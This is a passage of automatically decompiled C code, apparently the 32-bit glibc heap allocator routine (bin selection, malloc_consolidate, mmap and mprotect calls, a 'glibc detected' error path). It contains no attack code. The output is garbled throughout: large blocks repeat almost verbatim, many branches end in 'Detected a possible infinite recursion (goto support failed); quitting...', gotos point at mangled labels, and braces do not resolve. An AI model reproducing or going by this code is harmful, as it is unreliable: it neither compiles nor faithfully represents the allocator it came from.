v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; // branch -> 0x80b4b53 } else { // 0x80b4f23 v201 = 8 - v189; // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v162 = __default_morecore((int32_t *)v144); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // Detected a possible infinite recursion (goto support failed); quitting... } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { // 0x80b4918 v178 = v137 & -0x100000; v149 = (int32_t *)(v178 | 8); v195 = *v149; g102 = v65 - v182 + 16; v159 = getpagesize(); v183 = v159 - 1; v169 = g102; if (v169 < 0) { // 0x80b4dd8 v191 = v169 + v195; if (v191 >= 16) { // 0x80b4de7 g101 = v191; v192 = -v169; g102 = v192; v164 = mmap((int32_t *)(v191 + v178), v192, v10, 50, -1, v10); if ((int32_t)v164 != -1) { // 0x80b4e09 *v149 = g101; *v18 = *v18 + g101 - v195; v181 = v178; v204 = *(int32_t *)(v181 + 8); g67 += v204 - v195; v176 = g98; *(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1; // branch -> 0x80b49cb // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b4940 v179 = v169 + v183 & -v159; v184 = v179 + v195; g101 = v184; if (v184 < 0x100001) { // 0x80b4e38 if (mprotect((int32_t *)(v195 + v178), v179, 3) == 0) { // 0x80b4e09 *v149 = g101; *v18 = *v18 + g101 - v195; v181 = v178; v204 = *(int32_t *)(v181 + 8); g67 += v204 - v195; v176 = g98; *(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1; // branch -> 0x80b49cb // Detected a possible infinite recursion (goto support failed); quitting... } } } // 0x80b4959 g95 = v65 + 32; g97 = g71; v160 = new_heap(v1, v32); v150 = (struct struct_135 *)v160; v27 = v160; if (v160 != 0) { // 0x80b4970 v26 = v58; v150->e0 = a1; v150->e1 = v178; v151 = (int32_t *)(v26 + 1100); *v151 = *v151 + v150->e2; v196 = v150->e2; g67 += v196; v185 = v27 + 16; g98 = v185; *(int32_t *)(v26 + 48) = v185; v150->e4 = v196 - 16 | 1; v206 = v182 - 16; v25 = v206; v140 = v206 + v137; v26 = v140; *(int32_t *)(v140 + 12) = 1; if (v25 > 15) { // 0x80b4dac *(int32_t *)(v26 + 4) = 9; *(int32_t *)(v26 + 8) = 8; g97 = v137; *v147 = v25 | 5; _int_free(a1, (int32_t *)(g97 + 8)); // branch -> 0x80b49cb } else { // 0x80b49b7 v207 = v182 - 8; *v147 = v207 | 1; *(int32_t *)(v26 + 8) = v207; // branch -> 0x80b49cb } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { int32_t v223 = v132 + v65; // 0x80b487a result2 = v223; *v20 = v223; *(int32_t *)(result2 + 4) = v133 - v65 | 1; int32_t v224 = g69; // 0x80b48a7 g95 = v224; if (v224 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4877 v35 = result2; v43 = v224; // branch -> 0x80b42dd // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { int32_t v225 = v123 + 4; // 0x80b4450 v128 = *(int32_t *)v225; if (v128 != 0) { // break -> 0x80b445a break; } v123 = v225; v124 = v131; v125 = v130; v126 = v127; // continue -> 0x80b443c continue; } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b445a v122 = v129 + 248; g101 = v122; g102 = 1; v118 = 1; v119 = v128; v120 = v127; // branch -> 0x80b446d } else { // 0x80b449a v122 = v109; v118 = v114; v119 = v112; v120 = v116; // branch -> 0x80b446d } int32_t v226 = v122; // 0x80b4468105 int32_t v227 = v118; int32_t v228 = v119; // 0x80b446d // branch -> 0x80b446d while (true) { int32_t v229 = v227; // 0x80b4481 int32_t v230 = v226; // 0x80b4680 if ((v228 & v227) == 0) { int32_t v231 = v226 + 8; // 0x80b4468 int32_t v232 = 2 * v227; // 0x80b446b while ((v232 & v228) == 0) { // 0x80b4468 v231 += 8; v232 *= 2; // continue -> 0x80b4468 } // 0x80b446d g101 = v231; g102 = v232; v229 = v232; v230 = v231; // branch -> 0x80b4471 } int32_t * v233 = (int32_t *)(v230 + 12); // 0x80b4471_0 int32_t v234 = *v233; // 0x80b4471 if (v234 == v230) { int32_t v235 = -1 - v229 & v228; // 0x80b4485 *(int32_t *)(4 * result2 + v71) = v235; int32_t v236 = v230 + 8; // 0x80b4491 g101 = v236; int32_t v237 = 2 * g102; // 0x80b4494 g102 = v237; if (v235 >= v237) { // 0x80b449a if (v237 == 0) { // break -> 0x80b4438 break; } v226 = v236; v227 = v237; v228 = v235; // continue -> 0x80b446d continue; } // 0x80b4438 v110 = result2; v117 = v26; v121 = v120; // branch -> 0x80b4438 goto lab_0xb24de10; } else { // 0x80b4670 result2 = v234; int32_t * v238 = (int32_t *)(v234 + 4); // 0x80b4672_0 int32_t v239 = *v238 & -8; // 0x80b4675 v27 = v239; v26 = v239 - v65; int32_t v240 = *(int32_t *)(v234 + 12); // 0x80b467d *v233 = v240; *(int32_t *)(v240 + 8) = g101; int32_t v241 = result2; // 0x80b46da if (v26 > 15) { int32_t v242 = v241 + v65; // 0x80b46dc v27 = v242; int32_t v243 = (int32_t)v61; // 0x80b46df v25 = v243; *(int32_t *)(v243 + 8) = v242; *(int32_t *)(v25 + 12) = v27; *(int32_t *)(v27 + 8) = v25; *(int32_t *)(v27 + 12) = v25; if (v64 <= (int32_t *)511) { // 0x80b46f7 *v21 = v27; // branch -> 0x80b46fd } // 0x80b46fd g98 = v234; *v238 = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v27 + 4) = v26 | 1; int32_t v244 = v26; // 0x80b4724 *(int32_t *)(v244 + v27) = v244; // branch -> 0x80b46a4 } else { int32_t * v245 = (int32_t *)(v241 + 4 + v27); // 0x80b468b_0 *v245 = *v245 | 1; if (a1 == (char *)0x8139c40) { // 0x80b48bc g98 = v234; // branch -> 0x80b46a4 } else { int32_t * v246 = (int32_t *)(result2 + 4); // 0x80b469d_0 *v246 = *v246 | 4; g98 = v234; // branch -> 0x80b46a4 } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v23; return result; } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b46a4 result = g98 + 8; result2 = result; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v23; return result; } v35 = result; v43 = v82; // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4438 v110 = result2; v117 = v26; v121 = v120; // branch -> 0x80b4438 goto lab_0xb24de10; } else { v46 = v56; v31 = v30; v22 = v24; v62 = v17; lab_0x7a00210: while (true) { // 0x80b4331 g98 = *(int32_t *)(v46 + 12); uint32_t v247 = *(int32_t *)(v46 + 4); // 0x80b4334 g97 = v247; int32_t * v248; // bp+044 int32_t * v249; if (v247 >= 9) { // 0x80b4340 if (v247 <= *v18) { v249 = v31; v248 = v22; lab_0xb24e710:; int32_t v250 = v247 & -8; // 0x80b4351 g102 = v250; int32_t v251 = g98; int32_t v252 = v251; // 0x80b4369 if (v64 <= (int32_t *)511) { lab_0x79d4680: // 0x80b435d if (v251 == v57) { int32_t v253 = (int32_t)v62; // 0x80b45f1 if (v253 == *v21) { // 0x80b4600 if (v250 > v8) { // 0x80b460e v26 = v250 - v65; int32_t v254 = v253 + v65; // 0x80b4616 v27 = v254; result2 = v57; *(int32_t *)(v57 + 8) = v254; *(int32_t *)(result2 + 12) = v27; *v21 = v27; *(int32_t *)(v27 + 8) = result2; *(int32_t *)(v27 + 12) = result2; *(int32_t *)(v253 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v27 + 4) = v26 | 1; int32_t v255 = v26; // 0x80b4654 *(int32_t *)(v255 + v27) = v255; int32_t v256 = g69; // 0x80b465d g95 = v256; if (v256 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v252 = v57; } } else { v252 = v57; } } else { v252 = v251; } } lab_0x79d4c50: // 0x80b4366 *v19 = v252; *(int32_t *)(g98 + 8) = v57; uint32_t v257 = g102; // 0x80b436f if (v65 == v257) { int32_t v258 = (int32_t)v62; // 0x80b47ea v26 = v258; g98 = v65; int32_t * v259 = (int32_t *)(v65 + 4 + v258); // 0x80b47f0_0 *v259 = *v259 | 1; if (a1 != (char *)0x8139c40) { int32_t * v260 = (int32_t *)(v26 + 4); // 0x80b47fe_0 *v260 = *v260 | 4; g98 = v258; // branch -> 0x80b46a4 } // 0x80b46a4 result = g98 + 8; v82 = g69; g95 = v82; if (v82 == 0) { // 0x80b46b4 g98 = (int32_t)v248; return result; } v35 = result; v43 = v82; // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b4378 int32_t v261; int32_t v262; // 0x80b4398 uint32_t v263; // 0x80b4398 int32_t v264; // 0x80b43a5 if (v257 > 511) { uint32_t v265 = v257 / 64; // 0x80b4532 int32_t v266; // 0x80b4393243 int32_t v267; // 0x80b453e int32_t v268; // 0x80b4547 int32_t v269; // 0x80b454b int32_t v270; // 0x80b4547 int32_t v271; // 0x80b4547 if (v257 > 2111) { uint32_t v272 = v257 / 512; // 0x80b45c5 int32_t v273; // 0x80b45cd if (v257 > 0x29ff) { uint32_t v274 = v257 / 0x1000; // 0x80b45da int32_t v275; // 0x80b45e6 if (v257 > 0xafff) { uint32_t v276 = v257 / 0x8000; // 0x80b46c0 if (v257 > 0x27fff) { uint32_t v277 = v257 / 0x40000; // 0x80b472e if (v257 < 0xc0000) { int32_t v278 = v277 + 124; // 0x80b47df v266 = v278; v268 = 2 * v278; // branch -> 0x80b4544 } else { // 0x80b473a v266 = 126; v268 = 252; // branch -> 0x80b4544 } lab_0x79dcf30: // 0x80b4544 v271 = 4 * v268; v270 = v271 + v70; v261 = v270; v269 = *(int32_t *)(v271 + v57); result2 = v269; v262 = v266; if (v270 != v269) { lab_0xc572550:; uint32_t v279 = v257 | 1; // 0x80b4558 int32_t v280 = *(int32_t *)(v270 + 12); // 0x80b455b if (v279 > *(int32_t *)(v280 + 4)) { int32_t v281 = v269; if (*(int32_t *)(v269 + 4) > v279) { int32_t v282 = *(int32_t *)(v269 + 8); // 0x80b456c result2 = v282; while (*(int32_t *)(v282 + 4) > v279) { // 0x80b456c v282 += 8; result2 = v282; // continue -> 0x80b456c } // 0x80b4574 v261 = *(int32_t *)(v282 + 12); v262 = v266; // branch -> 0x80b4393 lab_0x79e1a40: // 0x80b4393 v263 = v262 % 32; v264 = 1; if (v263 != 0) { lab_0x79e2510: // if_80b43a0_0_true v264 = 1 << v263; // branch -> after_if_80b43a0_0 } lab_0xd3d4a10:; int32_t * v283 = (int32_t *)(4 * v262 / 32 + v71); // 0x80b43a5_0 *v283 = *v283 | v264; int32_t v284 = (int32_t)v62; // 0x80b43ac v25 = v284; *(int32_t *)(v284 + 12) = v261; *(int32_t *)(v25 + 8) = result2; *(int32_t *)(result2 + 12) = v25; *(int32_t *)(v261 + 8) = v25; int32_t v285 = *v19; // 0x80b43c1 char * v286 = (char *)v285; // 0x80b43c4_0 if (v285 == v57) { v42 = v57; v32 = v249; v23 = v248; v61 = v286; // break -> 0x80b43cf break; } v46 = v285; v31 = v249; v22 = v248; v62 = v286; // continue -> 0x80b4331 continue; } // 0x80b4574 v261 = *(int32_t *)(v281 + 12); v262 = v266; // branch -> 0x80b4393 goto lab_0x79e1a40; } else { // 0x80b4563 result2 = v270; v261 = v280; v262 = v266; // branch -> 0x80b4393 goto lab_0x79e1a40; } // 0x80b4393 v263 = v262 % 32; if (v263 == 0) { v264 = 1; goto lab_0xd3d4a10; } goto lab_0x79e2510; } lab_0x79ea1c0: // 0x80b4393 v263 = v262 % 32; if (v263 == 0) { v264 = 1; goto lab_0xd3d4a10; } goto lab_0x79e2510; } else { int32_t v287 = v276 + 119; // 0x80b46c8 v266 = v287; v268 = 2 * v287; // branch -> 0x80b4544 goto lab_0x79dcf30; } lab_0x79ebd90: // 0x80b4544 v271 = 4 * 2 * v275; v270 = v271 + v70; v261 = v270; v269 = *(int32_t *)(v271 + v57); result2 = v269; if (v270 == v269) { v262 = v266; goto lab_0x79ea1c0; } goto lab_0xc572550; } else { // 0x80b45e6 v275 = v274 + 110; v266 = v275; // branch -> 0x80b4544 goto lab_0x79ebd90; } lab_0x79eded0: // 0x80b4544 v271 = 4 * 2 * v273; v270 = v271 + v70; v261 = v270; v269 = *(int32_t *)(v271 + v57); result2 = v269; if (v270 == v269) { v262 = v266; goto lab_0x79ea1c0; } goto lab_0xc572550; } else { // 0x80b45cd v273 = v272 + 91; v266 = v273; // branch -> 0x80b4544 goto lab_0x79eded0; } lab_0x79effb0: // 0x80b4544 v271 = 4 * 2 * v267; v270 = v271 + v70; v261 = v270; v269 = *(int32_t *)(v271 + v57); result2 = v269; if (v270 == v269) { v262 = v266; goto lab_0x79ea1c0; } goto lab_0xc572550; } else { // 0x80b453e v267 = v265 + 56; v266 = v267; // branch -> 0x80b4544 goto lab_0x79effb0; } // 0x80b4544 v271 = 4 * v268; v270 = v271 + v70; v261 = v270; v269 = *(int32_t *)(v271 + v57); result2 = v269; if (v270 == v269) { v262 = v266; goto lab_0x79ea1c0; } goto lab_0xc572550; } else { int32_t v288 = v257 / 8; // 0x80b4386 int32_t v289 = 8 * v288; // 0x80b438c v261 = v289 + v70; result2 = *(int32_t *)(v289 + v57); v262 = v288; // branch -> 0x80b4393 goto lab_0x79ea1c0; } // 0x80b4393 v263 = v262 % 32; if (v263 == 0) { v264 = 1; goto lab_0xd3d4a10; } goto lab_0x79e2510; } // Detected a possible infinite recursion (goto support failed); quitting... } } int32_t v290 = g21; // 0x80b47a4 g101 = v290; int32_t v291 = (int32_t)v62; // 0x80b47aa int32_t v292 = v291 + 8; // 0x80b47ad int32_t v293 = v290 & 5; // 0x80b47b2 g95 = v293; if (v293 != 5) { // 0x80b47be if (v290 == 1) { // 0x80b47cf // branch -> 0x80b47cf // 0x80b47cf abort(); // UNREACHABLE } int32_t v294 = _itoa_word(v292, v10, 16, v10, v1); // 0x80b4822 g97 = v294; int32_t * v295 = v31; if (g95 < v294) { uint32_t v296 = -1 * v294; uint32_t v297 = -1 - g96; g97 = -1 - (v296 > v297 ? v296 : v297); v295 = (int32_t *)48; // branch -> 0x80b483e } int32_t v298 = *(int32_t *)g93; // 0x80b4843 int32_t v299 = v298; // 0x80b4853 if (v298 == 0) { // 0x80b4e53 v299 = 0x810918f; // branch -> 0x80b484d } int32_t v300 = g101 & 2; // 0x80b4859 g101 = v300; __libc_message((int32_t *)v300, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); v247 = *(int32_t *)(v291 + 4); v249 = v295; v248 = (int32_t *)v299; // branch -> 0x80b434f goto lab_0xb24e710; } int32_t v301 = v290 & 2; // 0x80b4a87 g101 = v301; int32_t * v302 = (int32_t *)v301; // 0x80b4a8a_0 __libc_message(v302, (struct struct_59 *)"%s\n"); v247 = *(int32_t *)(v291 + 4); v249 = v31; v248 = v302; // branch -> 0x80b434f goto lab_0xb24e710; } lab_0x79ffea0: // 0x80b43cf if (v64 < (int32_t *)512) { goto lab_0xd3d34d0; } goto lab_0x253371b0; } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 0x1000 + 110; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 512 + 91; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 64 + 56; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b428a v66 = v65 / 8; v54 = (int32_t)a1; v6 = v54 + 56; v14 = (int32_t *)v6; v67 = v54 + 48 + 8 * v66; v26 = v67; v55 = *(int32_t *)(v67 + 12); v27 = v55; if (v67 == v55) { // 0x80b47d4 v58 = v54; v45 = v6; v68 = v66; v60 = v14; // branch -> 0x80b4323 } else { // 0x80b42ab if (v55 == 0) { // 0x80b4a38 g95 = v54; malloc_consolidate(v1, v29); v58 = v54; // branch -> 0x80b4323 // 0x80b4323 v57 = (int32_t)v14; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v6; v30 = v29; v24 = v3; v36 = v66; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b42b3 v25 = *(int32_t *)(v55 + 12); v15 = (int32_t *)(v65 + 4 + v55); *v15 = *v15 | 1; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; if (a1 != (char *)0x8139c40) { // 0x80b42cd v16 = (int32_t *)(v27 + 4); *v16 = *v16 | 4; // branch -> 0x80b42d1 } // 0x80b42d1 v49 = v27 + 8; v39 = g69; g95 = v39; if (v39 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } else { v35 = v49; v43 = v39; } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v68; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } } else { v44 = v75; v64 = v73; } // 0x80b4281 v65 = (int32_t)v64; if (v64 > (int32_t *)511) { // 0x80b42f8 if (v64 > (int32_t *)2111) { // 0x80b44a0 if (v64 > (int32_t *)0x29ff) { // 0x80b477b if (v64 < (int32_t *)0xb000) { // 0x80b480a // branch -> 0x80b430d } else { // 0x80b478a if (v64 > (int32_t *)0x27fff) { // 0x80b4a4b if (v64 < (int32_t *)0xc0000) { // 0x80b4a72 v69 = v65 / 0x40000 + 124; // branch -> 0x80b430d } else { v69 = 126; } } else { // 0x80b4799 v69 = v65 / 0x8000 + 119; // branch -> 0x80b430d } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v69; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 0x1000 + 110; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 512 + 91; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } // 0x80b430d v50 = v44 % 2; g101 = v50; v59 = (int32_t)a1; if (v50 == 0) { // 0x80b4761 g95 = v59; malloc_consolidate(v1, v29); v9 = v59 + 56; v58 = v59; v45 = v9; v60 = (int32_t *)v9; // branch -> 0x80b4323 } else { // 0x80b4316 v7 = v59 + 56; v58 = v59; v45 = v7; v60 = (int32_t *)v7; // branch -> 0x80b4323 } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v65 / 64 + 56; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b428a v66 = v65 / 8; v54 = (int32_t)a1; v6 = v54 + 56; v14 = (int32_t *)v6; v67 = v54 + 48 + 8 * v66; v26 = v67; v55 = *(int32_t *)(v67 + 12); v27 = v55; if (v67 == v55) { // 0x80b47d4 v58 = v54; v45 = v6; v68 = v66; v60 = v14; // branch -> 0x80b4323 } else { // 0x80b42ab if (v55 == 0) { // 0x80b4a38 g95 = v54; malloc_consolidate(v1, v29); v58 = v54; // branch -> 0x80b4323 // 0x80b4323 v57 = (int32_t)v14; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v6; v30 = v29; v24 = v3; v36 = v66; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } else { // 0x80b42b3 v25 = *(int32_t *)(v55 + 12); v15 = (int32_t *)(v65 + 4 + v55); *v15 = *v15 | 1; *(int32_t *)(v26 + 12) = v25; *(int32_t *)(v25 + 8) = v26; if (a1 != (char *)0x8139c40) { // 0x80b42cd v16 = (int32_t *)(v27 + 4); *v16 = *v16 | 4; // branch -> 0x80b42d1 } // 0x80b42d1 v49 = v27 + 8; v39 = g69; g95 = v39; if (v39 == 0) { // Detected a possible infinite recursion (goto support failed); quitting... } else { v35 = v49; v43 = v39; } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4323 v57 = (int32_t)v60; v70 = v57 - 8; v71 = v58 + 1080; v20 = (int32_t *)(v58 + 48); v8 = v65 + 16; v11 = g2; v10 = (int32_t)v11; v19 = (int32_t *)(v57 + 12); v21 = (int32_t *)(v58 + 52); v18 = (int32_t *)(v58 + 1100); v40 = v45; v30 = v29; v24 = v3; v36 = v68; // branch -> 0x80b4323 while (true) { // 0x80b4323 v56 = *(int32_t *)(v40 + 12); v17 = (char *)v56; if (v56 == v40) { v42 = v40; v32 = v30; v23 = v24; v61 = v17; goto lab_0x79ffea0; } v46 = v56; v31 = v30; v22 = v24; v62 = v17; goto lab_0x7a00210; } } } else { int32_t v303 = (int32_t)a1; // 0x80b4219 int32_t v304 = *(int32_t *)(v303 + 4); // 0x80b421c g101 